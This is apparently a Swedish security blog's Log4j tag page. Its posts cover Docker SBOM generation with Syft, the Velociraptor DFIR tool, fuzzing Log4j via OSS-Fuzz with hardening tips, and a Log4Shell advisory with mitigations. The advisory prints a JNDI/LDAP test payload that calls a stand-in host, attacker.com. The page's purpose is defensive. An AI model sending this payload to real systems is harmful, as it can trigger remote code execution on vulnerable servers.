Taggat med: Log4j

Docker SBOM

Docker har precis släppt en ny funktion som gör det möjligt att skapa en Software Bill Of Materials (SBOM) på en docker-image. Förutom att det är ett krav på amerikanska myndigheter att upprätta en SBOM så är det säkerhetsmässigt mycket bra att veta exakt vilka beroenden som återfinnes i ett IT-system eller mjukvara. Vid sårbarheter såsom den i log4j går det snabbare och enklare att identifiera var sårbara bibliotek återfinnes.

syft

Dockers sbom-funktion bygger på open-source projektet Syft. Och följande paket stödjer docker sbom/syft att identifiera i containers:

  • Alpine (apk)
  • Dart (pubs)
  • Debian (dpkg)
  • Go (go.mod, Go binaries)
  • Java (jar, ear, war, par, sar)
  • JavaScript (npm, yarn)
  • Jenkins Plugins (jpi, hpi)
  • PHP (composer)
  • Python (wheel, egg, poetry, requirements.txt)
  • Red Hat (rpm)
  • Ruby (gem)
  • Rust (cargo.lock)

Och för att skapa själva rapporten så finns ett antal olika SBOM-format såsom spdx, cyclonedx, json och text. Jag testade att snabbt jämföra debian med alpine utan några extra paket och då såg det ut så här:

  • Alpine – 14 paket (apk)
  • Debian – 96 paket (deb)
  • Alma Linux – 153 paket (rpm)
  • Rocky Linux – 151 paket (rpm)

Och tittar vi på hur en text-rapport från alpine:latest ser ut som är skapad med hjälp av kommandot docker sbom alpine:latest

Syft v0.43.0
 ✔ Loaded image
 ✔ Parsed imag
 ✔ Cataloged packages      [14 packages]

NAME                    VERSION      TYPE
alpine-baselayout       3.2.0-r18    apk
alpine-keys             2.4-r1       apk
apk-tools               2.12.7-r3    apk
busybox                 1.34.1-r5    apk
ca-certificates-bundle  20211220-r0  apk
libc-utils              0.7.2-r3     apk
libcrypto1.1            1.1.1n-r0    apk
libretls                3.3.4-r3     apk
libssl1.1               1.1.1n-r0    apk
musl                    1.2.2-r7     apk
musl-utils              1.2.2-r7     apk
scanelf                 1.3.3-r0     apk
ssl_client              1.34.1-r5    apk
zlib                    1.2.12-r0    apk

Hjälptext för docker sbom:

Observera att docker sbom bara finns i Docker Desktop från version 4.7.0 än så länge. Men givetvis går syft att ladda hem och köra separat.

Velociraptor för threat hunting

Velociraptor digital forensics and incident response (DFIR)

Velociraptor är ett digital forensics and incident response (DFIR)-verktyg som är utvecklat av Mike Cohen. Mike jobbade tidigare på Google och var då med och utvecklade Googles verktyg för IT-incidentutredningar vid namn Google Rapid Response (GRR).

Velociraptor är gratis och använda och det finns ett aktivt community som ständigt släpper nya VQL såsom denna som kan detektera CVE-2021-4034 (PwnKit aka polkit pkexec) eller denna (Log4jVulnHunter) för Log4j-sårbarheten. VQL är ett SQL-liknande språk för att skriva ”hunts” eller monitor-regler.

Klienten för Velociraptor går att köra på Windows, Linux och macOS samt så använder den TLS för kommunikationen mellan klient och server.

Tre tre främsta användningsområden för Velociraptor är följande:

  • Insamling av data och artefakter
  • Övervakning och monitorering
  • Threat hunting

Du har även möjlighet att ladda hem och köra tredjepartsprogram såsom Sysinternals Autoruns och använda den informationen för vidare analys. Och inbyggt så finns det stöd för att söka efter Indicators of Compromise och liknande med Yara. Minnesdumpar kan hämtas in med en winpmem och en VQL heter Acquisition.

Du kan även skicka vidare information som Velociraptor hämtar in till andra system som är bättre på att analysera mängder med information såsom Splunk eller Elasticsearch.

En av fördelarna som jag ser med Velociraptor är att tiden för mean time to detect (MTTD) och mean time to respond (MTTR) kan förkortas.

Men vad finns det för nackdelar då? Jo, tröskeln att komma igång och lära sig verktyget kan ta några dagar. Du inför även en ytterligare komponent till din IT-miljö där säkerhetsbrister kan uppstå.

Men sammanfattningsvis så rekommenderar jag helt klart Velociraptor om ni ej har en liknande förmåga i dagsläget i Er IT-miljö.

Skärmdumpar

Insamling av DNS-loggar via Event Tracing for Windows (ETW)
Ett jobb som samlar in scheduled tasks i Windows
Jag testar PwnKit exploiten och kör sedan en hunt för att identifiera den. Lyckas bra!
Hur det ser ut när man loggar in i Admin GUI:t. Visar server status som standard

Om du vill läsa mer och lära dig om Velociraptor rekommenderar jag hemsidan här:

Sammanfattning

Velociraptor är ett mycket bra komplement till Er redan befintliga miljö som troligtvis innehåller flertalet förmågor för att upptäcka och försvåra intrång. Tanken är inte att Velociraptor ska byta ut OSSEC, Wazuh, Sysmon, auditd eller liknande. Inte heller är Velociraptor ett antivirus-system som automatiskt uppdateras med nya IoC:er, men givetvis kan det till viss del utföra alla dessa funktioner.

Bildkälla

Identifiera log4j med OSS-Fuzz och några säkerhetshöjande tips

Såhär i efterhand är det bra att dra lärdomar från log4j-sårbarheten och hur vi i framtiden kan förhindra liknande sårbarheter. En av mina personliga metoder är att genomföra fuzz-tester för att identifiera indikationer på att något är fel i ett system, bibliotek eller mjukvara.

Ett av Googles projekt som har identifierat flest antal sårbarheter genom tiderna heter OSS-Fuzz och drivs av ett antal backends såsom  libFuzzerAFL++ och Honggfuzz. I början av 2021 så fick libFuzzer stöd för att fuzza Java-kod med hjälp av Jazzer. Främst kod som är skriven JVM-baserade språk, såsom Java, Kotlin och Clojure.

Bildkälla: code-intelligence.com

För den fuzzing-kod som har hand om Remote JNDI-lookups så går den att se här. Men givetvis är fuzz-tester inte enbart den enda lösningen på att bygga säkra och robusta IT-system. Några andra säkerhetshöjande åtgärder för att försvåra attacker såsom Log4Shell (log4j) i framtiden:

  • Begränsa så att servrar och klienter inte får prata godtyckligt ut mot internet. Gäller även DNS-uppslag
  • Använd data-dioder för att föra in loggar i fysiskt separerade system. Till exempel en SOC/SIEM (airgap)
  • Se över Er software bill of materials (SBOM)
  • Genomför regelbundet automatiska och manuella penetrationstester
  • Öva regelbundet olika scenarior där ni exempelvis snabbt måste identifiera ett tredjepartsbibliotek och begränsa skadan som kan uppstå till följd av en sårbarhet
  • Se till att ni har verktyg som stödjer alla olika former av aktiviteter såsom den på raden ovan. Buzz-word för ett sådant verktyg kan vara Endpoint Detection & Response (EDR). Rekommenderar att snegla på Velociraptor (blogginlägg kommer)
  • Mjukvaror, system osv bör separeras så mycket som det går och gå med så låga behörigheter som möjligt. Se till att ha en förmåga att logga om en mjukvara avviker från detta
  • Ställ relevanta säkerhetskrav vid anskaffning av produkter och system. Följ upp så att dessa krav efterlevs

Photo by Danial Igdery on Unsplash

Allvarlig sårbarhet i Log4j

Uppdatering: Listan över sårbara applikationer och system bara växer. Nu senast har det visat sig att Ghidra från NSA är sårbart. Sårbarheten har fått det fyndiga namnet Log4Shell

Uppdatering 2: Nu har någon börjat att sammanställa en lista med sårbara system: https://twitter.com/80vul/status/1469250599846027265

Uppdatering 3: Sårbarheten har fått CVE-2021-44228. Uppdateringen log4j-2.15.0-rc1 var bristfällig så därför har log4j-2.15.0-rc2 släppts.

Uppdatering 4: Nu har version 2.16.0 släppts som helt stänger av JDNI som standard.

Log4j är ett populärt bibliotek som används för spårbarhet och loggning, flertalet populära system och produkter använder log4j såsom: Apple iCloud, Steam, Minecraft och Elasticsearch. Sårbarheten kan medge fjärrexekvering av kod (Remote Code Execution, RCE).

En bra payload för att testa är följande:

${jndi:ldap://attacker.com/a}

Ovan payload använder sig av Java Naming and Directory Interface och LDAP för att försöka ansluta till attacker.com. Givetvis kan även Burp Suite Collaborator också användas eller interact.sh för att detektera kommunikation (OOB).

För att åtgärda bristen kan version log4j-2.15.0-rc1 av log4j installeras eller så kan man sätta inställningen log4j2.formatMsgNoLookups till true.

Se även denna tråd på HackerNews.